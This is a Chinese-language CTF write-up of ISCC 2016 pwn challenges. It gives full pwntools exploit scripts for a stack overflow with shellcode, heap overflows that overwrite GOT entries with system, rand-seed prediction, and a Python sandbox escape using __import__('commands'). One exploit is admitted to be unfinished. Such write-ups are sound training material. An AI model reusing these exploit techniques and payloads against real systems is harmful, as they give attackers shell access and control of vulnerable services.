• iscc2016 pwn部分writeup


    一.pwn1

        简单的32位栈溢出,定位溢出点后即可写exp

    gdb-peda$ r
    Starting program: /usr/iscc/pwn1 
    C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x41632541 ('A%cA')
    EBX: 0xb7fb6000 --> 0x1a5da8 
    ECX: 0xb7fb7884 --> 0x0 
    EDX: 0x1 
    ESI: 0x0 
    EDI: 0x0 
    EBP: 0xbffff478 --> 0x0 
    ESP: 0xbffff45c --> 0x8048607 (mov    eax,0x0)
    EIP: 0x41632541 ('A%cA')
    EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x41632541
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff45c --> 0x8048607 (mov    eax,0x0)
    0004| 0xbffff460 --> 0x80486c1 --> 0x1007325 
    0008| 0xbffff464 --> 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
    0012| 0xbffff468 --> 0x804861b (add    ebx,0x19b9)
    0016| 0xbffff46c --> 0xb7fb6000 --> 0x1a5da8 
    0020| 0xbffff470 --> 0x8048610 (push   ebp)
    0024| 0xbffff474 --> 0x0 
    0028| 0xbffff478 --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x41632541 in ?? ()

     shellcode保存到bss段上,然后ret返回即可:

    #!/usr/bin/env python
    from pwn import *
    
    #p= process('./pwn1') 
    p=remote('101.200.187.112',9004)
    
    ret = 0x0804a060
    ppr=0x0804866e
    
    buf =  ""
    buf += "x89xe0xddxc7xd9x70xf4x5bx53x59x49x49x49"
    buf += "x49x49x49x49x49x49x49x43x43x43x43x43x43"
    buf += "x37x51x5ax6ax41x58x50x30x41x30x41x6bx41"
    buf += "x41x51x32x41x42x32x42x42x30x42x42x41x42"
    buf += "x58x50x38x41x42x75x4ax49x70x6ax74x4bx62"
    buf += "x78x5ax39x72x72x62x46x35x38x46x4dx42x43"
    buf += "x4bx39x69x77x43x58x56x4fx54x33x45x38x37"
    buf += "x70x63x58x54x6fx45x32x62x49x30x6ex4cx49"
    buf += "x6bx53x71x42x5ax48x73x38x75x50x47x70x43"
    buf += "x30x74x6fx65x32x50x69x50x6ex66x4fx54x33"
    buf += "x32x48x43x30x42x77x56x33x6cx49x38x61x78"
    buf += "x4dx6fx70x41x41"
    
    
    payload = buf + "A" * (256 - len(buf)) + p32(ret)
    p.recvuntil(":")
    p.send(payload) 
    #pwnlib.gdb.attach(p)
    p.interactive() 

    这里有个坑点就是shellcode的截断问题,在exp-db上找了好多个都执行不了最后好友提醒用msf生成吧,过程如下:

    msf > use linux/x86/exec
    msf payload(exec) > set CMD /bin/sh
    CMD => /bin/sh
    msf payload(exec) > generate -b 'x00xffx0b' -t py

    二.encrypt

    这是个堆溢出,由于pwn经验很少,做出的两道堆溢出花的时间不少,首先定位溢出点:

    程序会调用一个fastcall执行加密操作,通过溢出可以控制call指针,但是参数会有限制,不过没关系,经过调试,用puts地址覆盖,打印出来的就是setbuf的地址,然后就可计算atoi和system地址,atoi的got地址覆盖堆头索引指针,然后edit的时候可任意修改,代码如下:

    from pwn import *
    import pwnlib
    io=process('./encrypt')
    #io=remote('101.200.187.112',9005)
    def create(message):
        global io
        print io.recvuntil('4. Exit.
    ')
        io.sendline('1')
        print io.recvuntil('Input your message :')
        io.sendline(message)
        print io.recvuntil('(1.No,2.Xor):')
        io.sendline('2')
        return
    def edit(id,message):
        global io
        print io.recvuntil('4. Exit.
    ')
        io.sendline('3')
        print io.recvuntil('Give me message id :')
        io.sendline(id)
        print io.recvuntil('Input message :')
        io.sendline(message)
        return
    def encrypt():
        global io
        print io.recvuntil('4. Exit.
    ')
        io.sendline('2')
        print io.recvuntil('Give me message id :')
        io.sendline('1')
        return
    
    def main():   
        atoi_got=0x602060
        b='bbbbbbbbbb'   
        puts_addr=0x602018
        d='x'*104+p64(0x602018)   
        create('aaaaaaaaaaaa') 
        create('bbbbbbbbbbbb')    
        edit('1',d)   
        encrypt()
        io.recvuntil('Encrypting your message...
    ')
        leak=io.recvuntil('
    ').split('
    ')[0]   
        #print leak
        leak_addr=leak.ljust(8,'x00')
        print leak_addr
        setbuf_addr=u64(leak_addr)
        #print addr
        elfinfo=ELF('libc.so.6')
        system_offset=elfinfo.symbols["system"]    
        setbuf_offset=elfinfo.symbols["setbuf"]    
        system_addr=setbuf_addr+system_offset-setbuf_offset
        print "system_addr"+hex(system_addr)
        e='y'*104+p64(0x602060)  
        create('cccc')
        create('dddd')
        edit('1',e)
        edit('1',p64(system_addr))
        io.sendline('/bin/sh')
        io.interactive()
        return 0
    if __name__ == '__main__':
        main()

    三.guess

    就是一个验证随机数的程序,通过read溢出可覆盖变量控制seed的值,然后rand()值就可以预测

    由于python和c的rand函数不是相同库,想到的办法就是本地写个c程序生成可控的rand值,然后根据guess程序的算法输出相应的值,然后exp中输入即可打开flag文件,c代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char *argv[]) 
    {
        int i;
            int tmpra;
            int tmprb;
            int v4;
        int out;
        int a;        
        unsigned long int seed;
        seed = atol(argv[1]);
        srand(seed);
            a=rand();
            //printf("rand0:%x",a);
            out=(a % 99999) +1;
            printf("%d,",out);
            for(i=0;i<100;i++){
                 tmpra=rand();
                 //printf("rand1:%x",tmpra);
                 srand(tmpra);
                 v4=rand() % 99999 +1;
                 printf("%d,",v4);
            }        
        return 0;
    }

    from pwn import *
    from time import time
    
    #p=process('./guess')
    p=remote('101.200.187.112',9001)
    p.recvuntil("name :")
    p.send('a'*44+'
    ')
    
    #seed=0xa6381cc
    #rand=0x44236095
    input=[80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,60643,26474,44690,21086,28980,5071,67909,48736,55050,69515,81978,43669,93038,81153,37315,87517,81474,97252,39090,1696,51171,76214,73536,80801,95522,19591,94050,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75077,43330,17867,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,5741,73297,96930,96565,55497,75901,69488,9730,24451,20904,88186,89446,34242,57487,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,38315,67822,22967,2731,95707,52191,53909,98160,48842,58249]
    
    for i in range(0,100):
        p.recvuntil("Now guess :")
        p.send(str(input[i])+'
    ')
    p.interactive()

    四.pyclac

    这题不需要写exp,nc连接即可,然后就是想办法执行系统命令,先试下过滤的参数,发现os,open,等过滤了,又没办法直接导包,一开始想到eval绕过滤,然后去openflag文件,本地成功了,远程却没有open功能,没有包的原因吧,所以还得执行系统命令才行,os和subprocess的包没有权限导入,commans能行所以姿势是这样:__import__('commands').getoutput("ls"),__import__('commands').getoutput("cat flag")

    五.bitshop

    ida得知editshoppingnote的地方存在堆溢出,可覆盖到第0块的堆头

    __int64 note_sub_400DBF()
    {
      __int64 v0; // ST08_8@1
    
      v0 = *MK_FP(__FS__, 40LL);
      printf("Input shopping note :");
      read(0, (char *)qword_602100 + 4, 0x78uLL);   // 可读入120字节
      puts("Shopping note recorded!");
      return *MK_FP(__FS__, 40LL) ^ v0;
    }

    一开始思路错了,想用dwshoot去doublefree,没成功,gdb调了很久才发现可以修改堆头指针,于是根据fastbin的原理,溢出控制fd指针的方法可以任意内存读写,接下来就类似于encrypt,修改atoi的地址为system拿shell。

    from pwn import *
    import pwnlib
    
    #io=process('./bitshop')
    io=remote('101.200.187.112',9002)
    
    def add(len,name,content):
        global io
        print io.recvuntil('Your choice $')
        io.sendline('1')
        print io.recvuntil('length:')
        io.sendline(len)
        print io.recvuntil('comment:')
        io.sendline(content)
        print io.recvuntil('name:')
        io.sendline(name)
        
        return
    def edit(id,len,content):
        global io
        print io.recvuntil('Your choice $')
        io.sendline('2')
        print io.recvuntil(':')
        io.sendline(id)
        print io.recvuntil(':')
        io.sendline(len)
        print io.recvuntil('Input comment :')
        io.sendline(content)
        return
    def edit_note(note):
        global io
        print io.recvuntil('Your choice $')
        io.sendline('4')
        print io.recvuntil('note :')
        io.sendline(note)
        return
    def remove(id):
        print io.recvuntil('Your choice $')
        io.sendline('3')
        print io.recvuntil('id :')
        io.sendline(id)
        return
    def view():
        print io.recvuntil('Your choice $')
        io.sendline('5')
        print io.recv()
        return
    def main(): 
        io.recvuntil('plz input your name:')
        io.sendline('a'*33)
        print io.recvuntil('Your choice $')
        io.sendline('5')
        io.recvuntil('a'*32)
        leak=io.recvuntil('
    ').split('
    ')[0]
        leak_addr=leak.ljust(8,'x00')
        
        print leak_addr
        print hex(u64(leak_addr))
        ptr=u64(leak_addr)
        print hex(ptr)  
        atoi_got=0x602088
        payload1='a'*0x5c+p64(0)+p64(0x51)+p64(atoi_got)+p64(0x51)
       
       #......leak atoi_got
        add('64','a'*10,'a'*4)    
        add('64','b'*10,'b'*4)
        remove('1')
        remove('0')  
        #pwnlib.gdb.attach(io)  
        add('64','c'*10,'cccc')
        edit_note(payload1)
        #pwnlib.gdb.attach(io)
        #add('64','d'*10,p64(atoi_got))
        view()
        io.recvuntil('Comment : ')
        atoi=io.recvuntil('
    ').split('
    ')[0]
        print str(atoi)
        atoi_add=atoi.ljust(8,'x00')
        atoi_addr=u64(atoi_add)
        print atoi_addr
    
        #change got
        elfinfo=ELF('libc.so.6')
        system_offset=elfinfo.symbols["system"]
        print system_offset
        atoi_offset=elfinfo.symbols["atoi"]
        print atoi_offset
        system_addr=atoi_addr+system_offset-atoi_offset
        #pwnlib.gdb.attach(io)
        print hex(system_addr)
        #pwnlib.gdb.attach(io)
        edit('2','32',p64(system_addr))
    
        io.send('/bin/sh
    ')
        io.interactive()    
    if __name__ == '__main__':
        main()

    五.library

    这个没有成功拿shell,c++程序的pwn的writeup比较少,搜到了某大牛的zctf pwn500: http://www.cnblogs.com/wangaohui/p/5211672.html,虽然没能依葫芦画瓢,但还是受益匪浅,记录下自己的分析过程和思路。

    add_book可以多添加设定的size一个,所以溢出8字节到下一堆头,调试后发现可以泄露libc地址和堆地址,想到的方法是:

    1.泄露出libc地址后,修改got,然而got并不能写(为什么呢)

    2.又试着在堆块内容里伪造presize,size,fd,bk利用溢出到下一堆块的头部修改下一堆块的presize和size(这里设定category大小为9即时可修改下一堆头的size位,而8时只能溢出到size位),dw-shoot去利用,free前一块后控制指针,然后可以任意编辑cate的头部任意内存读写,这个方法还是没有运用得娴熟,所以没成功,也不知道能不能行得通。

    3.将计算好的system地址写到堆内容中,然后修改堆头的虚表指针使其指向保存system的堆地址,然后调用addbook,removebook等fastcall的时候会被劫持调用system函数,写的exp能成功执行system,就是没能想到怎么传/bin/sh。所以最终没能成功做出这题,还是等看大神们是怎么解的吧,这里贴出没成功的代码,以便自己以后参考对比

    # -*- coding: utf-8 -*
    from pwn import *
    import pwnlib
    #io=process('./library')
    io=remote('101.200.187.112',9003)
    
    def add_cate(len):
        global io
        print io.recvuntil('Your option $')
        io.sendline('1')
        print io.recvuntil('size : ')
        io.sendline(len)
    
        return
    def add_book(cateid,bookid):
        global io
        print io.recvuntil('Your option $')
        io.sendline('2')
        print io.recvuntil(': ')
        io.sendline(cateid)
        print io.recvuntil(':')
        io.sendline(bookid)
        return
    def get_id(cateid,bookid):
        global io
        print io.recvuntil('Your option $')
        io.sendline('3')
        print io.recvuntil(': ')
        io.sendline(cateid)
        print io.recvuntil(': ')
        io.sendline(bookid)
        return
    def remove_book(cateid):
        print io.recvuntil('Your option $')
        io.sendline('4')
        print io.recvuntil(': ')
        io.sendline(cateid)
        return
    def remove_cate(cateid):
        print io.recvuntil('Your option $')
        io.sendline('5')
        print io.recvuntil(': ')
        io.sendline(cateid)
        return
    def reset_cate(cateid,size):
        print io.recvuntil('Your option $')
        io.sendline('6')
        print io.recvuntil(': ')
        io.sendline(cateid)
        print io.recvuntil(': ')
        io.sendline(size)
        return
    def main(): 
    
    
        add_cate('9')
        add_cate('9')
        remove_cate('1')
        reset_cate('0','4')
        get_id('0','1')#以上操作后就能泄露堆地址和虚表地址
        io.recvuntil('Book ID is ')
        heada=io.recvuntil('
    ')
        heada=int(heada)
        print heada
        get_id('0','2')
        io.recvuntil('Book ID is ')
        headb=io.recvuntil('
    ')
        headb=int(headb)
        print headb
        get_id('0','3') #show got address
        io.recvuntil('Book ID is ')
        headc=io.recvuntil('
    ')
        headc=int(headc)
        print headc
        headd=headc-0x380
        heade=headb-0x80
        #pwnlib.gdb.attach(io)
        atoi_got=headc-0xc0
    
        add_cate('9')
        reset_cate('2','4')
        add_cate('9')
        add_book('2','0')
        add_book('2','0')
        add_book('2','0')
        add_book('2','0')
        add_book('2','0')
        add_book('2','49')
        add_book('2',str(headd))
        add_book('2','8589934594') #200000002
        add_book('2',str(atoi_got))
        get_id('3','0')
        io.recvuntil('Book ID is ')
        atoiaddr=io.recvuntil('
    ')
        atoiaddr=int(atoiaddr)
        print atoiaddr
        #pwnlib.gdb.attach(io)
        
        elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6')
        system_offset=elfinfo.symbols["system"]
        print system_offset
        atoi_offset=elfinfo.symbols["atoi"]
        print atoi_offset
        system_addr=atoiaddr+system_offset-atoi_offset
        print system_addr
        #pwnlib.gdb.attach(io)
    
        #pwnlib.gdb.attach(io)
        
        remove_book('2')
        remove_book('2')
        
        
        add_book('2','4')
        add_book('2',str(heade))
        #pwnlib.gdb.attach(io)
        add_book('3',str(system_addr))
        add_book('3',str(system_addr))
        add_book('3',str(system_addr))
        add_book('3',str(system_addr))
        remove_book('2')
        remove_book('2')
        remove_book('2')
        add_book('2',str(heade))
        add_book('2','‭12884901892‬')
        add_book('2','‭‭29400045130965551')#/bin/sh
        
        add_book('3','‭‭29400045130965551‬‬')
        #pwnlib.gdb.attach(io)
    
    
        io.interactive()
        return 0
    if __name__ == '__main__':
        main()
  • 相关阅读:
    python基础
    ubuntu下使用mutt+msmtp发送邮件
    VC :在对话框中的控件中绘图
    VC :在对话框中绘图
    服务器性能/压力测试工具http_load、webbench、ab、Siege使用教程
    Xampp – Open SSL – Don’t know how to get public key from this private key
    apache 添加下载文件头
    nginx配置反向代理
    nginx的反向代理缓存
    varnishcache使用
  • 原文地址:https://www.cnblogs.com/Joe-Z/p/5528762.html
Copyright © 2020-2023  润新知